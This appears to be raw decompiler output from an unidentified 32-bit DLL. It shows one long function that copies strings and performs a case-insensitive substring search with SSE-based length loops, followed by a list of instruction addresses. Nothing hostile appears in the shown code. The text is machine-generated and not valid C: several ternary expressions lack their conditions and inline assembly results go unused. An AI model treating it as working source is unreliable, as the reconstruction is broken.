				signed int _t246;
				char _t249;
				signed int _t251;
				signed int _t254;
				signed int _t256;
				void* _t257;
				void* _t258;
				signed int _t262;
				signed int _t264;
				signed int _t265;
				signed int _t266;
				signed int _t268;
				char _t271;
				signed int _t273;
				signed int _t279;
				signed int _t280;
				signed int _t283;
				signed int _t284;
				void* _t286;
				void* _t288;
				signed int _t292;
				void* _t295;
				signed int _t298;
				signed int _t299;
				signed int _t300;
				signed int _t301;
				signed int _t302;
				signed int _t308;
				signed int _t310;
				signed int _t311;
				char _t312;
				char _t313;
				char _t314;
				char _t315;
				signed int _t316;
				signed int _t317;
				signed int _t318;
				signed int _t319;
				signed int _t325;
				signed int _t326;
				signed int _t327;
				signed int _t328;
				signed int _t329;
				void* _t330;
				signed int _t331;
				signed int _t332;
				signed int _t335;
				signed int _t336;
				void* _t337;
				signed int _t340;
				void* _t341;
				signed int _t342;
				signed int _t343;
				signed int _t344;
				char* _t347;
				signed int _t350;
				signed int _t352;
				void* _t355;
				signed int _t357;
				char _t359;
				signed int _t362;
				signed int _t363;
				signed int _t365;
				signed int _t366;
				signed int _t367;
				signed int _t368;
				signed int _t369;
				signed int _t379;
				signed int _t380;
				signed int _t381;
				signed int _t382;
				signed int _t383;
				signed int _t384;
				signed int _t386;
				void* _t389;
				signed int _t390;
				char _t392;
				signed int _t395;
				signed int _t400;
				char _t402;
				char _t403;
				char _t404;
				signed int _t406;
				unsigned int _t411;
				signed int _t413;
				signed int _t415;
				signed int _t416;
				signed int _t421;
				signed int _t422;
				signed int _t433;
				signed int _t434;
				signed int _t435;
				signed int _t441;
				signed int _t443;
				signed int _t449;
				signed int _t450;
				signed int _t452;
				signed int _t461;
				signed int _t465;
				signed int _t466;
				signed int _t468;
				signed int _t469;
				signed int _t478;
				signed int _t482;
				void* _t485;

				_v56 = 0;
				_t449 = __ecx;
				_v52 = 0;
				_push(0x40);
				_t406 = E6EFF1030();
				_t485 = (_t482 & 0xfffffff0) - 0x34 + 4;
				_t230 = _v56;
				if(_t230 == 0) {
					 *_t406 = 0;
					L8:
					_t231 = _a8;
					_v52 = 0x40;
					_v56 = _t406;
					if(_t231 != 0) {
						__eflags = _t406;
						if(_t406 == 0) {
							_t310 = 0x40;
							_t283 = 0;
							L22:
							_t20 = _t283 + 2; // 0x80000001
							_t341 = _t20;
							__eflags = _t341 - 0x40;
							_t342 =  <=  ? 0x40 : _t341;
							__eflags = _t310 - _t342;
							if(_t310 < _t342) {
								_t411 = (_t342 >> 5 >> 0x1a) + _t342 >> 6;
								_t343 = _t342 & 0x8000003f;
								__eflags = _t343;
								if(_t343 < 0) {
									_t343 = (_t343 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t343;
								}
								__eflags = _t343;
								_t413 = _t411 + (0 | _t343 > 0x00000000) << 6;
								_push(_t413);
								_t311 = E6EFF1030();
								_t485 = _t485 + 4;
								_t344 = _v56;
								__eflags = _t344;
								if(_t344 == 0) {
									 *_t311 = 0;
									goto L35;
								} else {
									__eflags = _t311;
									if(_t311 == 0) {
										L33:
										_push(1);
										_push(_t344);
										_v68 = _t311;
										E6EFF10B0();
										_t311 = _v68;
										_t485 = _t485 + 8;
										L35:
										_v52 = _t413;
										_v56 = _t311;
										L36:
										 *((char*)(_t311 + _t283)) = _a8;
										_t237 =  &_v56;
										 *((char*)(_t283 +  *_t237 + 1)) = 0;
										L37:
										_t238 =  *_t237;
										_v28 = _t238;
										_t284 = _a4;
										if(_t238 == 0) {
											L39:
											_push(0x40);
											 *_t284 = 0;
											 *(_t284 + 4) = 0;
											_t450 = E6EFF1030();
											_t485 = _t485 + 4;
											_t347 =  *_t284;
											if(_t347 == 0) {
												 *_t450 = 0;
												L61:
												 *_t284 = _t450;
												 *(_t284 + 4) = 0x40;
												L62:
												_push(1);
												_push(_v56);
												E6EFF10B0();
												_v56 = 0;
												_v52 = 0;
												return _t284;
											}
											if(_t450 == 0) {
												L45:
												_push(1);
												_push(_t347);
												E6EFF10B0();
												_t485 = _t485 + 8;
												goto L61;
											}
											_t312 =  *_t347;
											 *_t450 = _t312;
											if(_t312 == 0) {
												goto L45;
											}
											_t415 = 0;
											while(1) {
												_t415 = _t415 + 1;
												_t313 =  *((char*)(_t347 + _t415 * 2 - 1));
												 *((char*)(_t450 + _t415 * 2 - 1)) = _t313;
												if(_t313 == 0) {
													goto L45;
												}
												_t314 =  *((char*)(_t347 + _t415 * 2));
												 *((char*)(_t450 + _t415 * 2)) = _t314;
												if(_t314 != 0) {
													continue;
												}
												goto L45;
											}
											goto L45;
										}
										_t315 =  *_t238;
										_v48 = _t315;
										if(_t315 != 0) {
											_t350 =  *_t449;
											_v60 = _t350;
											__eflags = _t350;
											if(_t350 == 0) {
												L53:
												_push(0x40);
												 *_t284 = 0;
												 *(_t284 + 4) = 0;
												_t450 = E6EFF1030();
												_t485 = _t485 + 4;
												_t352 =  *_t284;
												__eflags = _t352;
												if(_t352 == 0) {
													 *_t450 = 0;
													goto L61;
												}
												__eflags = _t450;
												if(_t450 == 0) {
													L59:
													_push(1);
													_push(_t352);
													E6EFF10B0();
													_t485 = _t485 + 8;
													goto L61;
												}
												_t316 =  *_t352;
												 *_t450 = _t316;
												__eflags = _t316;
												if(_t316 == 0) {
													goto L59;
												}
												_t416 = 0;
												__eflags = 0;
												while(1) {
													_t416 = _t416 + 1;
													_t317 =  *((char*)(_t352 + _t416 * 2 - 1));
													 *(_t450 + _t416 * 2 - 1) = _t317;
													__eflags = _t317;
													if(_t317 == 0) {
														goto L59;
													}
													_t318 =  *((char*)(_t352 + _t416 * 2));
													 *(_t450 + _t416 * 2) = _t318;
													__eflags = _t318;
													if(_t318 != 0) {
														continue;
													}
													goto L59;
												}
												goto L59;
											}
											__eflags =  *_t350;
											if( *_t350 == 0) {
												goto L53;
											}
											_t417 = _t315;
											_t319 = _t350;
											_t63 = _t417 - 0x41; // -65
											_t452 = _t63;
											_v64 = _t452;
											__eflags = _t452 - 0x19;
											_t65 = _t417 + 0x20; // 0x20
											_t354 =  >  ? _t315 : _t65;
											_t245 =  >  ? _t315 : _t65;
											_t355 = 0;
											__eflags = 0;
											while(1) {
												_t286 =  *_t319;
												__eflags = _t286 - 0x41 - 0x19;
												_t287 =  <=  ? _t286 + 0x20 : _t286;
												__eflags = ( <=  ? _t286 + 0x20 : _t286) - _t245;
												if(( <=  ? _t286 + 0x20 : _t286) == _t245) {
													break;
												}
												_t355 = _t355 + 1;
												_t319 = _t319 + 1;
												_t300 = _v60;
												__eflags =  *((char*)(_t355 + _t300));
												if( *((char*)(_t355 + _t300)) != 0) {
													continue;
												}
												L52:
												_t284 = _a4;
												goto L53;
											}
											_t284 = _a4;
											__eflags = _t319;
											if(_t319 == 0) {
												goto L53;
											}
											_t357 = _v28 & 0x0000000f;
											asm("pxor xmm0, xmm0");
											_t421 =  ~_t357 + 0x10;
											__eflags = _t421;
											_v32 = _t421;
											_v40 = _v48 + 0x20;
											_t246 = _t421;
											do {
												_t422 = _t357;
												__eflags = _t357;
												if(_t357 == 0) {
													L69:
													_t461 =  ~( ~_t422 + 0x0000000f & 0x0000000f) + 0x7fffffff;
													__eflags = _t461;
													while(1) {
														asm("movdqu xmm1, [eax+edi]");
														asm("pcmpeqb xmm1, xmm0");
														asm("pmovmskb ebx, xmm1");
														__eflags = _t284;
														if(_t284 != 0) {
															break;
														}
														_t422 = _t422 + 0x10;
														__eflags = _t422 - _t461;
														if(_t422 < _t461) {
															continue;
														}
														__eflags = _t461 - 0x7fffffff;
														if(_t461 >= 0x7fffffff) {
															L76:
															_t461 = 0x7fffffff;
															L77:
															_v68 = _t461;
															_t288 = 0;
															__eflags = 0;
															_v44 = _t357;
															while(1) {
																_t249 =  *((char*)(_t288 + _t319));
																_t359 =  *((char*)(_t288 + _v28));
																__eflags = _t249 - 0x61 - 0x19;
																_t250 =  <=  ? _t249 - 0x20 : _t249;
																__eflags = _t359 - 0x61 - 0x19;
																_t251 =  <=  ? _t249 - 0x20 : _t249;
																_t360 =  <=  ? _t359 - 0x20 : _t359;
																_t361 =  <=  ? _t359 - 0x20 : _t359;
																__eflags = _t251 - ( <=  ? _t359 - 0x20 : _t359);
																if(__eflags < 0 || __eflags > 0) {
																	break;
																}
																__eflags = _t251;
																if(_t251 == 0) {
																	L82:
																	_t357 = _v44;
																	_t466 = _v40;
																	_t284 = _a4;
																	L83:
																	__eflags = _t319;
																	if(_t319 == 0) {
																		goto L53;
																	}
																	_v44 = _t357;
																	while(1) {
																		L85:
																		_t254 = _t319;
																		_t292 = _t319 + 1;
																		__eflags = _t292;
																		if(_t292 == 0) {
																			break;
																		}
																		__eflags =  *(_t319 + 1);
																		if( *(_t319 + 1) == 0) {
																			break;
																		}
																		__eflags = _v64 - 0x19;
																		_t388 =  <=  ? _t466 : _v48;
																		_t389 =  <=  ? _t466 : _v48;
																		_v36 = _t254;
																		_v40 = _t466;
																		while(1) {
																			_t319 = _t319 + 1;
																			_t292 = _t292 + 1;
																			_t266 =  *_t319 & 0x000000ff;
																			_t466 =  *((char*)(_t292 - 1)) + 0xffffffbf;
																			__eflags = _t466 - 0x19;
																			_t267 =  <=  ? _t266 + 0x20 : _t266;
																			__eflags = ( <=  ? _t266 + 0x20 : _t266) - _t389;
																			if(( <=  ? _t266 + 0x20 : _t266) == _t389) {
																				break;
																			}
																			__eflags =  *_t292;
																			if( *_t292 != 0) {
																				continue;
																			}
																			L90:
																			_t254 = _v36;
																			_t365 = _v44;
																			_t284 = _a4;
																			L91:
																			__eflags = _t365;
																			if(_t365 == 0) {
																				L95:
																				_t325 =  ~( ~_t365 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																				__eflags = _t325;
																				while(1) {
																					asm("movdqu xmm1, [edi+edx]");
																					asm("pcmpeqb xmm1, xmm0");
																					asm("pmovmskb esi, xmm1");
																					__eflags = _t466;
																					if(_t466 != 0) {
																						break;
																					}
																					_t365 = _t365 + 0x10;
																					__eflags = _t365 - _t325;
																					if(_t365 < _t325) {
																						continue;
																					}
																					__eflags = _t325 - 0x7fffffff;
																					if(_t325 >= 0x7fffffff) {
																						L102:
																						_t325 = 0x7fffffff;
																						L103:
																						_t468 = _v60 & 0x0000000f;
																						__eflags = _t468;
																						if(_t468 == 0) {
																							L107:
																							_t433 =  ~( ~_t468 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																							__eflags = _t433;
																							while(1) {
																								asm("movdqu xmm1, [ebx+esi]");
																								asm("pcmpeqb xmm1, xmm0");
																								asm("pmovmskb edx, xmm1");
																								__eflags = _t365;
																								if(_t365 != 0) {
																									break;
																								}
																								_t468 = _t468 + 0x10;
																								__eflags = _t468 - _t433;
																								if(_t468 < _t433) {
																									continue;
																								}
																								_t284 = _a4;
																								__eflags = _t433 - 0x7fffffff;
																								if(_t433 >= 0x7fffffff) {
																									L114:
																									_t433 = 0x7fffffff;
																									L115:
																									_t366 = _v60;
																									_t256 = _t254 - _t366 + _t325;
																									_t326 = 0;
																									__eflags = _t256;
																									 *_t284 = 0;
																									_t257 =  <=  ? 0 : _t256;
																									__eflags = _t433 - _t257;
																									 *(_t284 + 4) = 0;
																									_t258 =  <  ? _t433 : _t257;
																									_t434 = _t433 - _t258;
																									_t367 = _t366 + _t258;
																									__eflags = _t367;
																									_v64 = _t367;
																									if(_t367 == 0) {
																										L151:
																										_push(0x40);
																										_t450 = E6EFF1030();
																										_t485 = _t485 + 4;
																										_t368 =  *_t284;
																										__eflags = _t368;
																										if(_t368 == 0) {
																											 *_t450 = 0;
																											goto L61;
																										}
																										__eflags = _t450;
																										if(_t450 == 0) {
																											L157:
																											_push(1);
																											_push(_t368);
																											E6EFF10B0();
																											_t485 = _t485 + 8;
																											goto L61;
																										}
																										_t327 =  *_t368;
																										 *_t450 = _t327;
																										__eflags = _t327;
																										if(_t327 == 0) {
																											goto L157;
																										}
																										_t435 = 0;
																										__eflags = 0;
																										while(1) {
																											_t435 = _t435 + 1;
																											_t328 =  *((char*)(_t368 + _t435 * 2 - 1));
																											 *(_t450 + _t435 * 2 - 1) = _t328;
																											__eflags = _t328;
																											if(_t328 == 0) {
																												goto L157;
																											}
																											_t329 =  *((char*)(_t368 + _t435 * 2));
																											 *(_t450 + _t435 * 2) = _t329;
																											__eflags = _t329;
																											if(_t329 != 0) {
																												continue;
																											}
																											goto L157;
																										}
																										goto L157;
																									}
																									_t369 = _v60;
																									__eflags =  *(_t369 + _t258);
																									if( *(_t369 + _t258) == 0) {
																										goto L151;
																									}
																									__eflags = _t434;
																									if(_t434 != 0) {
																										L130:
																										_t144 = _t434 + 1; // 0x80000000
																										_t330 = _t144;
																										__eflags = _t330 - 0x40;
																										_t331 =  <=  ? 0x40 : _t330;
																										__eflags = _t331;
																										if(_t331 > 0) {
																											_v68 = (_t331 >> 5 >> 0x1a) + _t331 >> 6;
																											_t332 = _t331 & 0x8000003f;
																											__eflags = _t332;
																											if(_t332 < 0) {
																												_t332 = (_t332 - 0x00000001 | 0xffffffc0) + 1;
																												__eflags = _t332;
																											}
																											__eflags = _t332;
																											_t335 = _v68 + (0 | _t332 > 0x00000000) << 6;
																											_v68 = _t335;
																											_push(_t335);
																											_t469 = E6EFF1030();
																											_t485 = _t485 + 4;
																											_t336 =  *_t284;
																											__eflags = _t336;
																											if(_t336 == 0) {
																												 *_t469 = 0;
																												goto L143;
																											} else {
																												__eflags = _t469;
																												if(_t469 == 0) {
																													L141:
																													_push(1);
																													_push(_t336);
																													E6EFF10B0();
																													_t485 = _t485 + 8;
																													L143:
																													 *(_t284 + 4) = _v68;
																													 *_t284 = _t469;
																													L144:
																													__eflags = _t469;
																													if(_t469 == 0) {
																														goto L62;
																													}
																													_t262 = _v64;
																													_t337 = 0;
																													while(1) {
																														_t379 =  *_t262;
																														_t337 = _t337 + 1;
																														 *_t469 = _t379;
																														__eflags = _t434;
																														if(_t434 == 0) {
																															goto L149;
																														}
																														__eflags = _t337 - _t434;
																														if(_t337 == _t434) {
																															 *(_t469 + 1) = 0;
																															goto L62;
																														}
																														L149:
																														__eflags = _t379;
																														if(_t379 == 0) {
																															goto L62;
																														}
																														_t469 = _t469 + 1;
																														_t262 = _t262 + 1;
																														__eflags = _t262;
																													}
																												}
																												_t380 =  *_t336;
																												 *_t469 = _t380;
																												__eflags = _t380;
																												if(_t380 == 0) {
																													goto L141;
																												}
																												_t381 = 0;
																												__eflags = 0;
																												while(1) {
																													_t381 = _t381 + 1;
																													_t264 =  *((char*)(_t336 + _t381 * 2 - 1));
																													 *(_t469 + _t381 * 2 - 1) = _t264;
																													__eflags = _t264;
																													if(_t264 == 0) {
																														break;
																													}
																													_t265 =  *((char*)(_t336 + _t381 * 2));
																													 *(_t469 + _t381 * 2) = _t265;
																													__eflags = _t265;
																													if(_t265 != 0) {
																														continue;
																													}
																													break;
																												}
																												_t284 = _a4;
																												goto L141;
																											}
																										}
																										_t469 = 0;
																										goto L144;
																									}
																									_t382 = _t369 + _t258;
																									_v60 = _t382;
																									_t383 = _t382 & 0x0000000f;
																									__eflags = _t383;
																									if(_t383 == 0) {
																										L122:
																										_t434 =  ~( ~_t383 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																										__eflags = _t434;
																										while(1) {
																											asm("movdqu xmm1, [esi+edx]");
																											asm("pcmpeqb xmm1, xmm0");
																											asm("pmovmskb ecx, xmm1");
																											__eflags = _t326;
																											if(_t326 != 0) {
																												break;
																											}
																											_t383 = _t383 + 0x10;
																											__eflags = _t383 - _t434;
																											if(_t383 < _t434) {
																												continue;
																											}
																											__eflags = _t434 - 0x7fffffff;
																											if(_t434 >= 0x7fffffff) {
																												L129:
																												_t434 = 0x7fffffff;
																												goto L130;
																											}
																											_t384 = _v60;
																											while(1) {
																												__eflags =  *((char*)(_t434 + _t384));
																												if( *((char*)(_t434 + _t384)) == 0) {
																													goto L130;
																												}
																												_t434 = _t434 + 1;
																												__eflags = _t434 - 0x7fffffff;
																												if(_t434 < 0x7fffffff) {
																													continue;
																												}
																												goto L129;
																											}
																											goto L130;
																										}
																										asm("bsf edi, ecx");
																										_t434 = _t434 + _t383;
																										goto L130;
																									}
																									_t434 = 0;
																									_t326 = _v60;
																									_t383 =  ~_t383 + 0x10;
																									__eflags = _t383;
																									while(1) {
																										__eflags =  *((char*)(_t434 + _t326));
																										if( *((char*)(_t434 + _t326)) == 0) {
																											goto L130;
																										}
																										_t434 = _t434 + 1;
																										__eflags = _t434 - _t383;
																										if(_t434 < _t383) {
																											continue;
																										}
																										goto L122;
																									}
																									goto L130;
																								}
																								_t386 = _v60;
																								while(1) {
																									__eflags =  *((char*)(_t433 + _t386));
																									if( *((char*)(_t433 + _t386)) == 0) {
																										goto L115;
																									}
																									_t433 = _t433 + 1;
																									__eflags = _t433 - 0x7fffffff;
																									if(_t433 < 0x7fffffff) {
																										continue;
																									}
																									goto L114;
																								}
																								goto L115;
																							}
																							asm("bsf edi, edx");
																							_t284 = _a4;
																							_t433 = _t433 + _t468;
																							goto L115;
																						}
																						_t433 = 0;
																						_t365 = _v60;
																						_t468 =  ~_t468 + 0x10;
																						__eflags = _t468;
																						while(1) {
																							__eflags =  *((char*)(_t433 + _t365));
																							if( *((char*)(_t433 + _t365)) == 0) {
																								goto L115;
																							}
																							_t433 = _t433 + 1;
																							__eflags = _t433 - _t468;
																							if(_t433 < _t468) {
																								continue;
																							}
																							goto L107;
																						}
																						goto L115;
																					}
																					_t365 = _v28;
																					while(1) {
																						__eflags =  *(_t325 + _t365);
																						if( *(_t325 + _t365) == 0) {
																							goto L103;
																						}
																						_t325 = _t325 + 1;
																						__eflags = _t325 - 0x7fffffff;
																						if(_t325 < 0x7fffffff) {
																							continue;
																						}
																						goto L102;
																					}
																					goto L103;
																				}
																				asm("bsf ecx, esi");
																				_t325 = _t325 + _t365;
																				goto L103;
																			}
																			_t365 = _v32;
																			_t325 = 0;
																			__eflags = 0;
																			_t441 = _v28;
																			_t466 = _t365;
																			while(1) {
																				__eflags =  *((char*)(_t325 + _t441));
																				if( *((char*)(_t325 + _t441)) == 0) {
																					goto L103;
																				}
																				_t325 = _t325 + 1;
																				__eflags = _t325 - _t466;
																				if(_t325 < _t466) {
																					continue;
																				}
																				goto L95;
																			}
																			goto L103;
																		}
																		_t254 = _v36;
																		_t466 = _v40;
																		__eflags = _t319;
																		if(_t319 == 0) {
																			break;
																		}
																		_v36 = _t254;
																		_v40 = _t466;
																		_t390 = _v44;
																		_t268 = _v32;
																		do {
																			_t443 = _t390;
																			__eflags = _t390;
																			if(_t390 == 0) {
																				L169:
																				_t478 =  ~( ~_t443 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																				__eflags = _t478;
																				while(1) {
																					asm("movdqu xmm1, [eax+edi]");
																					asm("pcmpeqb xmm1, xmm0");
																					asm("pmovmskb ebx, xmm1");
																					__eflags = _t292;
																					if(_t292 != 0) {
																						break;
																					}
																					_t443 = _t443 + 0x10;
																					__eflags = _t443 - _t478;
																					if(_t443 < _t478) {
																						continue;
																					}
																					__eflags = _t478 - 0x7fffffff;
																					if(_t478 >= 0x7fffffff) {
																						L176:
																						_t478 = 0x7fffffff;
																						L177:
																						_v68 = _t478;
																						_t295 = 0;
																						__eflags = 0;
																						_v44 = _t390;
																						while(1) {
																							_t271 =  *((char*)(_t295 + _t319));
																							_t392 =  *((char*)(_t295 + _v28));
																							__eflags = _t271 - 0x61 - 0x19;
																							_t272 =  <=  ? _t271 - 0x20 : _t271;
																							__eflags = _t392 - 0x61 - 0x19;
																							_t273 =  <=  ? _t271 - 0x20 : _t271;
																							_t393 =  <=  ? _t392 - 0x20 : _t392;
																							_t394 =  <=  ? _t392 - 0x20 : _t392;
																							__eflags = _t273 - ( <=  ? _t392 - 0x20 : _t392);
																							if(__eflags < 0 || __eflags > 0) {
																								break;
																							}
																							__eflags = _t273;
																							if(_t273 == 0) {
																								L182:
																								_t254 = _v36;
																								_t466 = _v40;
																								L183:
																								__eflags = _t319;
																								if(_t319 != 0) {
																									goto L85;
																								}
																								goto L184;
																							}
																							_t295 = _t295 + 1;
																							__eflags = _t295 - _v68;
																							if(_t295 < _v68) {
																								continue;
																							}
																							goto L182;
																						}
																						_t365 = _v44;
																						_t466 = _t319 + 1;
																						__eflags = _t466;
																						if(_t466 == 0) {
																							goto L192;
																						}
																						__eflags = _v64 - 0x19;
																						_t297 =  <=  ? _v40 : _v48;
																						_t292 =  <=  ? _v40 : _v48;
																						__eflags =  *(_t319 + 1);
																						if( *(_t319 + 1) == 0) {
																							goto L192;
																						}
																						_v44 = _t365;
																						while(1) {
																							_t319 = _t319 + 1;
																							_t466 = _t466 + 1;
																							_t395 =  *_t319 & 0x000000ff;
																							__eflags =  *((char*)(_t466 - 1)) + 0xffffffbf - 0x19;
																							_t396 =  <=  ? _t395 + 0x20 : _t395;
																							__eflags = ( <=  ? _t395 + 0x20 : _t395) - _t292;
																							if(( <=  ? _t395 + 0x20 : _t395) == _t292) {
																								goto L191;
																							}
																							__eflags =  *_t466;
																							if( *_t466 != 0) {
																								continue;
																							}
																							goto L90;
																						}
																						goto L191;
																					}
																					_t298 = _v28;
																					while(1) {
																						__eflags =  *((char*)(_t478 + _t298));
																						if( *((char*)(_t478 + _t298)) == 0) {
																							break;
																						}
																						_t478 = _t478 + 1;
																						__eflags = _t478 - 0x7fffffff;
																						if(_t478 < 0x7fffffff) {
																							continue;
																						}
																						goto L176;
																					}
																					L193:
																					__eflags = _t478;
																					if(__eflags == 0) {
																						goto L176;
																					}
																					if(__eflags > 0) {
																						goto L177;
																					}
																					_v44 = _t390;
																					_t254 = _v36;
																					_t466 = _v40;
																					goto L183;
																				}
																				asm("bsf esi, ebx");
																				_t478 = _t478 + _t443;
																				goto L193;
																			}
																			_t292 = _v28;
																			_t443 = _t268;
																			_t478 = 0;
																			__eflags = 0;
																			while(1) {
																				__eflags =  *((char*)(_t478 + _t292));
																				if( *((char*)(_t478 + _t292)) == 0) {
																					goto L193;
																				}
																				_t478 = _t478 + 1;
																				__eflags = _t478 - _t268;
																				if(_t478 < _t268) {
																					continue;
																				}
																				goto L169;
																			}
																			goto L193;
																			L191:
																			_t390 = _v44;
																			_t268 = _v32;
																			__eflags = _t319;
																		} while (_t319 != 0);
																		L192:
																		_t254 = _v36;
																		_t284 = _a4;
																		goto L91;
																	}
																	L184:
																	_t365 = _v44;
																	goto L91;
																}
																_t288 = _t288 + 1;
																__eflags = _t288 - _v68;
																if(_t288 < _v68) {
																	continue;
																}
																goto L82;
															}
															_t362 = _v44;
															_t465 = _t319 + 1;
															__eflags = _t465;
															if(_t465 == 0) {
																goto L52;
															}
															__eflags = _v64 - 0x19;
															_t290 =  <=  ? _v40 : _v48;
															_t284 =  <=  ? _v40 : _v48;
															__eflags =  *(_t319 + 1);
															if( *(_t319 + 1) == 0) {
																goto L52;
															}
															_v44 = _t362;
															while(1) {
																_t319 = _t319 + 1;
																_t465 = _t465 + 1;
																_t363 =  *_t319 & 0x000000ff;
																__eflags =  *((char*)(_t465 - 1)) + 0xffffffbf - 0x19;
																_t364 =  <=  ? _t363 + 0x20 : _t363;
																__eflags = ( <=  ? _t363 + 0x20 : _t363) - _t284;
																if(( <=  ? _t363 + 0x20 : _t363) == _t284) {
																	goto L207;
																}
																__eflags =  *_t465;
																if( *_t465 != 0) {
																	continue;
																}
																goto L52;
															}
															goto L207;
														}
														_t299 = _v28;
														while(1) {
															__eflags =  *((char*)(_t461 + _t299));
															if( *((char*)(_t461 + _t299)) == 0) {
																break;
															}
															_t461 = _t461 + 1;
															__eflags = _t461 - 0x7fffffff;
															if(_t461 < 0x7fffffff) {
																continue;
															}
															goto L76;
														}
														L203:
														__eflags = _t461;
														if(__eflags == 0) {
															goto L76;
														}
														if(__eflags > 0) {
															goto L77;
														}
														_t466 = _v40;
														_t284 = _a4;
														goto L83;
													}
													asm("bsf esi, ebx");
													_t461 = _t461 + _t422;
													goto L203;
												}
												_t284 = _v28;
												_t422 = _t246;
												_t461 = 0;
												__eflags = 0;
												while(1) {
													__eflags =  *((char*)(_t461 + _t284));
													if( *((char*)(_t461 + _t284)) == 0) {
														goto L203;
													}
													_t461 = _t461 + 1;
													__eflags = _t461 - _t246;
													if(_t461 < _t246) {
														continue;
													}
													goto L69;
												}
												goto L203;
												L207:
												_t357 = _v44;
												_t246 = _v32;
												__eflags = _t319;
											} while (_t319 != 0);
											goto L52;
										}
										goto L39;
									}
									_t279 =  *_t344;
									 *_t311 = _t279;
									__eflags = _t279;
									if(_t279 == 0) {
										goto L33;
									}
									_v60 = _t413;
									_t280 = 0;
									__eflags = 0;
									_v64 = _t283;
									_v68 = _t449;
									while(1) {
										_t280 = _t280 + 1;
										_t301 =  *((char*)(_t344 + _t280 * 2 - 1));
										 *(_t311 + _t280 * 2 - 1) = _t301;
										__eflags = _t301;
										if(_t301 == 0) {
											break;
										}
										_t302 =  *((char*)(_t344 + _t280 * 2));
										 *(_t311 + _t280 * 2) = _t302;
										__eflags = _t302;
										if(_t302 != 0) {
											continue;
										}
										break;
									}
									_t413 = _v60;
									_t283 = _v64;
									_t449 = _v68;
									goto L33;
								}
							}
							_t311 = _v56;
							goto L36;
						}
						_t400 = _t406 & 0x0000000f;
						__eflags = _t400;
						if(_t400 == 0) {
							L15:
							asm("pxor xmm0, xmm0");
							_t308 =  ~( ~_t400 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							__eflags = _t308;
							while(1) {
								asm("movdqu xmm1, [edi+edx]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb eax, xmm1");
								__eflags = _t231;
								if(_t231 != 0) {
									break;
								}
								_t400 = _t400 + 0x10;
								__eflags = _t400 - _t308;
								if(_t400 < _t308) {
									continue;
								}
								__eflags = _t308 - 0x7fffffff;
								if(_t308 >= 0x7fffffff) {
									L21:
									_t310 = 0x40;
									_t283 = 0x7fffffff;
									goto L22;
								} else {
									goto L19;
								}
								while(1) {
									L19:
									__eflags =  *((char*)(_t308 + _t406));
									if( *((char*)(_t308 + _t406)) == 0) {
										break;
									}
									_t308 = _t308 + 1;
									__eflags = _t308 - 0x7fffffff;
									if(_t308 < 0x7fffffff) {
										continue;
									}
									goto L21;
								}
								L209:
								__eflags = _t283 - 0xfffffffe;
								if(_t283 != 0xfffffffe) {
									_t310 = 0x40;
								} else {
									 *_t406 = 0;
									_t310 = _v52;
								}
								goto L22;
							}
							asm("bsf ebx, eax");
							_t283 = _t308 + _t400;
							goto L209;
						}
						_t283 = 0;
						_t400 =  ~_t400 + 0x10;
						__eflags = _t400;
						while(1) {
							__eflags =  *((char*)(_t283 + _t406));
							if( *((char*)(_t283 + _t406)) == 0) {
								goto L209;
							}
							_t283 = _t283 + 1;
							__eflags = _t283 - _t400;
							if(_t283 < _t400) {
								continue;
							}
							goto L15;
						}
						goto L209;
					}
					_t237 =  &_v56;
					goto L37;
				}
				if(_t406 == 0) {
					L6:
					_push(1);
					_push(_t230);
					E6EFF10B0();
					_t485 = _t485 + 8;
					goto L8;
				}
				_t402 =  *_t230;
				 *_t406 = _t402;
				if(_t402 == 0) {
					goto L6;
				}
				_t340 = 0;
				while(1) {
					_t340 = _t340 + 1;
					_t403 =  *((char*)(_t230 + _t340 * 2 - 1));
					 *((char*)(_t406 + _t340 * 2 - 1)) = _t403;
					if(_t403 == 0) {
						goto L6;
					}
					_t404 =  *((char*)(_t230 + _t340 * 2));
					 *((char*)(_t406 + _t340 * 2)) = _t404;
					if(_t404 != 0) {
						continue;
					}
					goto L6;
				}
				goto L6;
			}

0x6f002e6e
0x6f002e72
0x6f002e74
0x6f002e78
0x6f002e7f
0x6f002e81
0x6f002e84
0x6f002e8a
0x6f002ec1
0x6f002ec4
0x6f002ec4
0x6f002ec8
0x6f002ed0
0x6f002ed6
0x6f002ee1
0x6f002ee3
0x6f0037d3
0x6f0037d8
0x6f002f5d
0x6f002f62
0x6f002f62
0x6f002f65
0x6f002f68
0x6f002f6b
0x6f002f6d
0x6f002f82
0x6f002f85
0x6f002f85
0x6f002f8b
0x6f002f93
0x6f002f93
0x6f002f93
0x6f002f96
0x6f002f9d
0x6f002fa0
0x6f002fa6
0x6f002fa8
0x6f002fab
0x6f002faf
0x6f002fb1
0x6f003006
0x00000000
0x6f002fb3
0x6f002fb3
0x6f002fb5
0x6f002ff1
0x6f002ff1
0x6f002ff3
0x6f002ff4
0x6f002ff8
0x6f002ffd
0x6f003001
0x6f003009
0x6f003009
0x6f00300d
0x6f003011
0x6f003015
0x6f003018
0x6f00301e
0x6f003023
0x6f003023
0x6f003025
0x6f003029
0x6f00302e
0x6f00303d
0x6f00303d
0x6f003041
0x6f003043
0x6f00304b
0x6f00304d
0x6f003050
0x6f003054
0x6f00308e
0x6f003135
0x6f003135
0x6f003137
0x6f00313e
0x6f00313e
0x6f003140
0x6f003144
0x6f003150
0x6f003154
0x6f003161
0x6f003161
0x6f003058
0x6f00307e
0x6f00307e
0x6f003080
0x6f003081
0x6f003086
0x00000000
0x6f003086
0x6f00305a
0x6f00305d
0x6f003061
0x00000000
0x00000000
0x6f003063
0x6f003065
0x6f003065
0x6f003066
0x6f00306b
0x6f003071
0x00000000
0x00000000
0x6f003073
0x6f003077
0x6f00307c
0x00000000
0x00000000
0x00000000
0x6f00307c
0x00000000
0x6f003065
0x6f003032
0x6f003035
0x6f00303b
0x6f003096
0x6f003098
0x6f00309c
0x6f00309e
0x6f0030e4
0x6f0030e4
0x6f0030e8
0x6f0030ea
0x6f0030f2
0x6f0030f4
0x6f0030f7
0x6f0030f9
0x6f0030fb
0x6f003132
0x00000000
0x6f003132
0x6f0030fd
0x6f0030ff
0x6f003125
0x6f003125
0x6f003127
0x6f003128
0x6f00312d
0x00000000
0x6f00312d
0x6f003101
0x6f003104
0x6f003106
